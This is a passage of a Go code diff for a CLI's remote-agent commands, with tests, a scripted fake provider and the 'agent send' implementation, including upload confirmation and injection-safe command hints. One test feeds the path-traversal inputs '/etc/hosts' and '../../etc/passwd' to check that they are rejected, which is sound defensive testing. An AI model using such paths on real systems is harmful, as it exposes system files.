State string `json:"state"`
|
||||
}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Call[T] should succeed: %v", err)
|
||||
}
|
||||
if got.TaskID != "t1" || got.State != "completed" {
|
||||
t.Errorf("Call[T] should decode data into the struct, got %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
|
||||
// (CheckResponse), not a silent success.
|
||||
func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
|
||||
t.Fatal("a non-zero API code should surface as an error")
|
||||
} else if _, ok := errs.ProblemOf(err); !ok {
|
||||
t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
|
||||
// RoundTrip failure is classified as a network transport error.
|
||||
func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
|
||||
return nil, errors.New("dial refused")
|
||||
}}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
|
||||
if err == nil {
|
||||
t.Fatal("a transport error should propagate")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryNetwork {
|
||||
t.Fatalf("transport error should be a network error, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
|
||||
// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
|
||||
// traversal path is rejected as invalid_argument (param --file) and NO request
|
||||
// is issued (the transport panics if reached).
|
||||
func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
|
||||
t.Fatal("no request should be issued when the --file path is unsafe")
|
||||
return nil, nil
|
||||
}}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
|
||||
_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
|
||||
map[string]string{"type": "file"},
|
||||
[]iagent.FilePart{{Field: "file", Path: bad}})
|
||||
if err == nil {
|
||||
t.Fatalf("an unsafe --file path %q should be rejected", bad)
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
|
||||
}
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) || ve.Param != "--file" {
|
||||
t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
|
||||
// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
|
||||
// --file path, CallUpload propagates that validation error and returns the zero
|
||||
// value of T without attempting a decode. Mirrors the Call[T] coverage in
|
||||
// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
|
||||
// are exercised, not just the JSON one.
|
||||
func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
|
||||
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
|
||||
t.Fatal("no request should be issued when the --file path is unsafe")
|
||||
return nil, nil
|
||||
}}
|
||||
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
|
||||
|
||||
got, err := iagent.CallUpload[struct {
|
||||
AttachmentID string `json:"attachment_id"`
|
||||
}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
|
||||
map[string]string{"type": "file"},
|
||||
[]iagent.FilePart{{Field: "file", Path: "/etc/hosts"}})
|
||||
if err == nil {
|
||||
t.Fatal("CallUpload with an unsafe --file path should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
|
||||
}
|
||||
if got.AttachmentID != "" {
|
||||
t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
|
||||
}
|
||||
}
|
||||
136
cmd/agent/scripted_provider_test.go
Normal file
136
cmd/agent/scripted_provider_test.go
Normal file
@@ -0,0 +1,136 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
|
||||
// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
|
||||
// a test reaching an unexpected provider path. The command-layer contracts under
|
||||
// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
|
||||
// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
|
||||
type scriptedHooks struct {
|
||||
send func(in iagent.SendInput) (*iagent.AgentTask, error)
|
||||
getTask func(taskID string) (*iagent.AgentTask, error)
|
||||
listTasks func(contextID string) ([]iagent.TaskSummary, error)
|
||||
listContexts func() ([]iagent.ContextSummary, error)
|
||||
getContext func(ctxID string) (*iagent.ContextDetail, error)
|
||||
deleteContext func(ctxID string) error
|
||||
downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
|
||||
}
|
||||
|
||||
// scripted is the package-level hook set shared by every scripted instance (the
|
||||
// registered provider is fixed per package run, the hooks can be re-pointed).
|
||||
var scripted scriptedHooks
|
||||
|
||||
// setScripted installs the hooks for one test and restores the empty (panic
|
||||
// tripwire) set on cleanup.
|
||||
func setScripted(t *testing.T, h scriptedHooks) {
|
||||
t.Helper()
|
||||
scripted = h
|
||||
t.Cleanup(func() { scripted = scriptedHooks{} })
|
||||
}
|
||||
|
||||
// scriptedSpec is the instance template whose capability surface is fixed by
|
||||
// which hooks are wired: CancelTask is deliberately left UNWIRED so
|
||||
// task_cancel=false (the cancel gate is exercised via example:echo); everything
|
||||
// else the command tests drive is wired, and FileInput=true so the --file
|
||||
// gate/confirm path is reachable. Each wired hook delegates to the per-test hook
|
||||
// and panics if it was not set.
|
||||
func scriptedSpec() *iagent.AgentSpec {
|
||||
return &iagent.AgentSpec{
|
||||
FileInput: true,
|
||||
Send: func(_ context.Context, _ iagent.Runtime, in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
if scripted.send == nil {
|
||||
panic("scripted provider: Send hook not set")
|
||||
}
|
||||
return scripted.send(in)
|
||||
},
|
||||
GetTask: func(_ context.Context, _ iagent.Runtime, taskID string) (*iagent.AgentTask, error) {
|
||||
if scripted.getTask == nil {
|
||||
panic("scripted provider: GetTask hook not set")
|
||||
}
|
||||
return scripted.getTask(taskID)
|
||||
},
|
||||
ListTasks: func(_ context.Context, _ iagent.Runtime, contextID string) ([]iagent.TaskSummary, error) {
|
||||
if scripted.listTasks == nil {
|
||||
panic("scripted provider: ListTasks hook not set")
|
||||
}
|
||||
return scripted.listTasks(contextID)
|
||||
},
|
||||
ListContexts: func(_ context.Context, _ iagent.Runtime) ([]iagent.ContextSummary, error) {
|
||||
if scripted.listContexts == nil {
|
||||
panic("scripted provider: ListContexts hook not set")
|
||||
}
|
||||
return scripted.listContexts()
|
||||
},
|
||||
GetContext: func(_ context.Context, _ iagent.Runtime, ctxID string) (*iagent.ContextDetail, error) {
|
||||
if scripted.getContext == nil {
|
||||
panic("scripted provider: GetContext hook not set")
|
||||
}
|
||||
return scripted.getContext(ctxID)
|
||||
},
|
||||
DeleteContext: func(_ context.Context, _ iagent.Runtime, ctxID string) error {
|
||||
if scripted.deleteContext == nil {
|
||||
panic("scripted provider: DeleteContext hook not set")
|
||||
}
|
||||
return scripted.deleteContext(ctxID)
|
||||
},
|
||||
DownloadArtifact: func(_ context.Context, _ iagent.Runtime, taskID, artifactID string) (*iagent.ArtifactData, error) {
|
||||
if scripted.downloadArtifact == nil {
|
||||
panic("scripted provider: DownloadArtifact hook not set")
|
||||
}
|
||||
return scripted.downloadArtifact(taskID, artifactID)
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
|
||||
// provider, sorted — the all-or-nothing preflight requires every one for any
|
||||
// real API verb.
|
||||
var fakescopedAllScopes = []string{
|
||||
"fakescoped:agent_artifact:read",
|
||||
"fakescoped:agent_attachment:write",
|
||||
"fakescoped:agent_chat:read",
|
||||
"fakescoped:agent_chat:write",
|
||||
}
|
||||
|
||||
// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
|
||||
// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
|
||||
const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id(形如 agt_xxx)"
|
||||
|
||||
// registerScripted registers the two scripted schemes exactly once (Register
|
||||
// panics on duplicates). Both are instance-type (agent_id is arbitrary), and not
|
||||
// enumerable (no ListAgents hook). They leak into the package-level registry for
|
||||
// the rest of this package run — so no test may assert an exact provider set.
|
||||
//
|
||||
// - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
|
||||
// - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
|
||||
var registerScriptedOnce sync.Once
|
||||
|
||||
func registerScripted() {
|
||||
registerScriptedOnce.Do(func() {
|
||||
iagent.Register(iagent.Provider{
|
||||
Scheme: "fakeflow",
|
||||
Label: "test fake (scripted flow)",
|
||||
AgentIDSource: fakeflowAgentIDSource,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
Instance: scriptedSpec(),
|
||||
})
|
||||
iagent.Register(iagent.Provider{
|
||||
Scheme: "fakescoped",
|
||||
Label: "test fake (scoped)",
|
||||
AgentIDSource: "test only",
|
||||
RequiredScopes: fakescopedAllScopes,
|
||||
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
|
||||
Instance: scriptedSpec(),
|
||||
})
|
||||
})
|
||||
}
|
||||
333
cmd/agent/send.go
Normal file
333
cmd/agent/send.go
Normal file
@@ -0,0 +1,333 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// sendOptions holds all inputs for `agent send <ref>`.
|
||||
type sendOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
Text string
|
||||
Files []string
|
||||
Params []string
|
||||
ContextID string
|
||||
TaskID string
|
||||
DryRun bool
|
||||
Yes bool
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
|
||||
// agent, starting a new task or continuing an existing one. `--dry-run`
|
||||
// validates the inputs against the agent Card and prints the request preview
|
||||
// without any API call (always available). A send fires and returns the
|
||||
// current task immediately; poll progress with
|
||||
// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
|
||||
// `--file` uploads local files to the remote agent — the content leaves this
|
||||
// machine. Risk=write. runF, when non-nil, replaces the production run path
|
||||
// (test seam).
|
||||
func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
|
||||
opts := &sendOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "send <agent_ref>",
|
||||
Short: "Send a message to a remote agent (start a new task or continue an existing one)",
|
||||
Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
|
||||
"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
|
||||
"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
|
||||
"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
if runF != nil {
|
||||
return runF(opts)
|
||||
}
|
||||
return agentSendRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文(必填)")
|
||||
cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径,可重复;文件会被上传到远端 provider(内容离开本机)")
|
||||
cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value,可重复(据 card 的 parameters 决定)")
|
||||
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id(续发同一会话)")
|
||||
cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发(须与 --context-id 一起用)")
|
||||
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览,不调用 API")
|
||||
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端(不加则 exit 10,不上传)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
|
||||
} else {
|
||||
// f is nil only in construction-time unit tests; register a bare --as so
|
||||
// the flag surface is still assertable without a Factory.
|
||||
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentSendRun validates the send inputs, resolves the provider, and either
|
||||
// prints a dry-run preview or dispatches the message. The two client-side input
|
||||
// guards (empty --text; --task-id without --context-id) run first so they never
|
||||
// touch the network and hold even under a nil Factory. A send fires once
|
||||
// and returns the current task immediately (exit 0); the caller polls progress
|
||||
// via the meta.next `task get ... --watch` hint.
|
||||
func agentSendRun(opts *sendOptions) error {
|
||||
if opts.Text == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
|
||||
WithParam("--text").
|
||||
WithHint(`补充 --text "<消息内容>" 后重发`)
|
||||
}
|
||||
if opts.TaskID != "" && opts.ContextID == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--task-id 需与 --context-id 一起使用").
|
||||
WithParam("--task-id").
|
||||
WithHint("--task-id 必须与 --context-id 同时提供")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
// Resolution + --param validation + --dry-run are fully offline, so they work
|
||||
// (and surface validation as exit 2) before the config gate. The card is
|
||||
// built with rt=nil: capability matrix + statically-declared parameters only,
|
||||
// which is all the file gate and --param validation need.
|
||||
prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
card := iagent.BuildCard(opts.Cmd.Context(), prov, spec, agentID, nil)
|
||||
params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
in := iagent.SendInput{
|
||||
Text: opts.Text,
|
||||
Files: opts.Files,
|
||||
Params: params,
|
||||
ContextID: opts.ContextID,
|
||||
TaskID: opts.TaskID,
|
||||
}
|
||||
|
||||
// --dry-run is a client-side behavior: always available, never
|
||||
// gated by the Card's dry_run capability, and never touches the API.
|
||||
if opts.DryRun {
|
||||
return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
|
||||
}
|
||||
|
||||
if len(in.Files) > 0 {
|
||||
// An agent that does not declare file_input cannot take an upload, so
|
||||
// --file against it is unsupported_capability — gated before any network
|
||||
// access, so the user is not told "confirm the upload" for a send that
|
||||
// would be rejected anyway.
|
||||
if !card.Supports(iagent.CapFileInput) {
|
||||
return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
|
||||
}
|
||||
// --file exfiltrates local file content off this machine (the provider
|
||||
// reads the file and uploads it to the remote agent). That is an
|
||||
// irreversible, CLI-enforced high-risk write: a real send that would upload
|
||||
// requires --yes, returning confirmation_required (exit 10) before any
|
||||
// network access. dry-run above is exempt — it never uploads.
|
||||
if !opts.Yes {
|
||||
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
|
||||
"--file 会把本地文件外发上传到远端 agent(内容离开本机,不可撤回)").
|
||||
WithHint("确认要外发这些文件后,加 --yes 重发")
|
||||
}
|
||||
}
|
||||
|
||||
// A real send calls the API, so it needs a configured client; build the
|
||||
// identity-pinned runtime now (not_configured / exit 3 here is correct).
|
||||
rt, err := runtimeFor(f, id, agentID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Local scope preflight: after runtimeFor, before the API call. The check is
|
||||
// all-or-nothing — any real API verb requires the provider's full scope set.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
task, err := spec.Send(opts.Cmd.Context(), rt, in)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
normalizeTask(task)
|
||||
|
||||
// A send fires and returns the current task immediately (exit 0). Progress is
|
||||
// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
|
||||
// hint — send no longer blocks on the task reaching a stop condition.
|
||||
return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
|
||||
}
|
||||
|
||||
// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
|
||||
// reconstructed from the validated input, so a caller can inspect exactly what
|
||||
// a real send would post without contacting the agent. format=pretty (no --jq)
|
||||
// renders the same fields as key: value lines instead of the envelope.
|
||||
func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
out := f.IOStreams.Out
|
||||
fmt.Fprintln(out, "dry_run: true")
|
||||
fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
|
||||
fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
|
||||
if len(in.Files) > 0 {
|
||||
fmt.Fprintf(out, "files: %d\n", len(in.Files))
|
||||
}
|
||||
if len(in.Params) > 0 {
|
||||
fmt.Fprintf(out, "params: %d\n", len(in.Params))
|
||||
}
|
||||
if in.ContextID != "" {
|
||||
fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
would := map[string]interface{}{
|
||||
"agent_ref": ref,
|
||||
"text": in.Text,
|
||||
}
|
||||
if len(in.Files) > 0 {
|
||||
would["files"] = in.Files
|
||||
}
|
||||
if len(in.Params) > 0 {
|
||||
would["params"] = in.Params
|
||||
}
|
||||
if in.ContextID != "" {
|
||||
would["context_id"] = in.ContextID
|
||||
}
|
||||
if in.TaskID != "" {
|
||||
would["task_id"] = in.TaskID
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: map[string]interface{}{
|
||||
"dry_run": true,
|
||||
"would_send": would,
|
||||
},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// nextIDPattern is the character whitelist for server-supplied identifiers
|
||||
// (task_id / context_id) before they are interpolated into a meta.next command
|
||||
// string: letters, digits, '_' and '-' only. It is deliberately stricter than
|
||||
// validate.ResourceName — that check is a denylist aimed at URL-path safety and
|
||||
// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
|
||||
// exactly what matters here: meta.next is defined as "AI executes this
|
||||
// verbatim", so a server-controlled id is a command-injection surface.
|
||||
var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
|
||||
|
||||
// safeNextID reports whether s may be interpolated into a meta.next command.
|
||||
func safeNextID(s string) bool {
|
||||
return nextIDPattern.MatchString(s)
|
||||
}
|
||||
|
||||
// nextRefPattern is the whitelist for a user-supplied ref before it is
|
||||
// interpolated into a meta.next command or a hint command string: the
|
||||
// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
|
||||
// shape ParseRef accepts, further restricted to command-safe characters). A
|
||||
// ref is not server-controlled — the threat model is not injection but
|
||||
// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
|
||||
// be executed verbatim), so a failing ref simply drops the command hint.
|
||||
var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
|
||||
|
||||
// safeNextRef reports whether ref may be interpolated into a meta.next / hint
|
||||
// command string.
|
||||
func safeNextRef(ref string) bool {
|
||||
return nextRefPattern.MatchString(ref)
|
||||
}
|
||||
|
||||
// nextForTask builds the meta.next[] hints for a send result: a terminal task
|
||||
// suggests fetching its artifacts / detail, a still-running task the poll
|
||||
// command, an input_required task the continue command, and an auth_required
|
||||
// task the re-authorize flow (auth login, not a text continuation). AI callers use
|
||||
// these to chain the next step without guessing the command shape, so every
|
||||
// value interpolated here must pass its whitelist first: the ref (safeNextRef)
|
||||
// and the task_id (safeNextID) each suppress the whole hint when they fail
|
||||
// (prefer dropping the hint over risking injection); a failing context_id
|
||||
// degrades to the <context_id> placeholder,
|
||||
// which keeps the hint while interpolating nothing untrusted. A hint whose
|
||||
// command carries <...> placeholders is marked Template so callers know it
|
||||
// needs substitution before execution.
|
||||
func nextForTask(ref string, task *iagent.AgentTask) []output.NextAction {
|
||||
if !safeNextRef(ref) {
|
||||
return nil
|
||||
}
|
||||
if task == nil || task.TaskID == "" || !safeNextID(task.TaskID) {
|
||||
return nil
|
||||
}
|
||||
if task.State.ShouldStopPolling() {
|
||||
if task.State == iagent.StateAuthRequired {
|
||||
// auth_required is an agent-side task state — the end user must
|
||||
// (re)authorize in the agent (see the SKILL state semantics), NOT a CLI scope error and
|
||||
// NOT a text continuation like input_required. Point at the auth
|
||||
// re-authorize flow instead of a text continuation. The concrete scopes are the
|
||||
// agent's declared scope set (see the lark-agent skill's prerequisites), so --scope is a
|
||||
// placeholder → Template. ref/task_id are already whitelisted above, so
|
||||
// echoing the re-check command in the label is safe.
|
||||
return []output.NextAction{{
|
||||
Label: fmt.Sprintf("完成重新授权后重查任务(据该 agent 所需 scope 定;重查: lark-cli agent task get %s %s)", ref, task.TaskID),
|
||||
Command: `lark-cli auth login --scope "<required_scopes>"`,
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
if task.State == iagent.StateInputRequired {
|
||||
// A send that already needs input: point at the continue command
|
||||
// against the same task/context. The --text value is
|
||||
// always a placeholder, so this hint is a template — which is also why
|
||||
// a missing or whitelist-failing context_id can degrade to the
|
||||
// <context_id> placeholder instead of dropping the hint.
|
||||
ctxID := task.ContextID
|
||||
if ctxID == "" || !safeNextID(ctxID) {
|
||||
ctxID = "<context_id>"
|
||||
}
|
||||
return []output.NextAction{{
|
||||
Label: "补充输入后向同一任务续发",
|
||||
Command: fmt.Sprintf("lark-cli agent send %s --context-id %s --task-id %s --text <你的答复>", ref, ctxID, task.TaskID),
|
||||
Template: true,
|
||||
}}
|
||||
}
|
||||
// Terminal: suggest reading the final detail / artifacts.
|
||||
return []output.NextAction{{
|
||||
Label: "查看任务详情与产物",
|
||||
Command: fmt.Sprintf("lark-cli agent task get %s %s", ref, task.TaskID),
|
||||
}}
|
||||
}
|
||||
return []output.NextAction{{
|
||||
Label: "轮询任务直到停轮询条件(有界;到点未终止照此再 watch)",
|
||||
Command: fmt.Sprintf("lark-cli agent task get %s %s --watch --timeout %s", ref, task.TaskID, defaultWatchTimeout),
|
||||
}}
|
||||
}
|
||||
|
||||
// defaultWatchTimeout is the bounded poll window meta.next suggests for a
|
||||
// still-running task: a safe default that avoids an unbounded --watch blocking
|
||||
// forever on a long task and stops an AI caller from self-hammering. On expiry
|
||||
// the poll returns the current state (exit 0) plus a fresh watch hint, so the
|
||||
// caller re-watches in segments rather than blocking once. `--watch` used alone
|
||||
// (--timeout 0) stays unbounded for backward compatibility.
|
||||
const defaultWatchTimeout = 30 * time.Second
|
||||
451
cmd/agent/send_test.go
Normal file
451
cmd/agent/send_test.go
Normal file
@@ -0,0 +1,451 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
|
||||
// non-empty (required for content-safety scanning) and whose --as flag is
|
||||
// explicitly set to bot so ResolveAs honors it verbatim.
|
||||
func sendCmdCtx(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
group := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: "send"}
|
||||
root.AddCommand(group)
|
||||
group.AddCommand(leaf)
|
||||
leaf.Flags().String("as", "", "identity")
|
||||
if err := leaf.Flags().Set("as", "bot"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
|
||||
// the scripted fakeflow agent agt_x under an explicit bot identity. The
|
||||
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
|
||||
// test — everything under test here is command-layer behavior over the
|
||||
// scripted provider.
|
||||
func sendTestOpts(t *testing.T) *sendOptions {
|
||||
t.Helper()
|
||||
registerScripted()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
return &sendOptions{
|
||||
Factory: f,
|
||||
Cmd: sendCmdCtx(t),
|
||||
Ref: "fakeflow:agt_x",
|
||||
As: "bot",
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendRequiresText pins that an empty --text is a validation error
|
||||
// (subtype invalid_argument) raised before any provider is built.
|
||||
func TestSendRequiresText(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
|
||||
if err == nil {
|
||||
t.Fatal("missing --text should raise a validation error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// hint contract: a missing --text must carry a copy-pasteable remediation
|
||||
// hint, and the param uses the -- prefix.
|
||||
if !strings.Contains(p.Hint, "--text") {
|
||||
t.Errorf("hint should guide adding --text, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--text" {
|
||||
t.Errorf("param should be --text, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
|
||||
// validation error, raised before any provider is built.
|
||||
func TestSendTaskIDRequiresContextID(t *testing.T) {
|
||||
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
|
||||
if err == nil {
|
||||
t.Fatal("--task-id without --context-id should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
// hint contract: state the next step clearly (--task-id must be provided
|
||||
// together with --context-id).
|
||||
if !strings.Contains(p.Hint, "--context-id") {
|
||||
t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "--task-id" {
|
||||
t.Errorf("param should be --task-id, got %+v", verr)
|
||||
}
|
||||
}
|
||||
|
||||
// workingTask is the canonical non-terminal task the scripted Send returns for
|
||||
// the happy-path tests.
|
||||
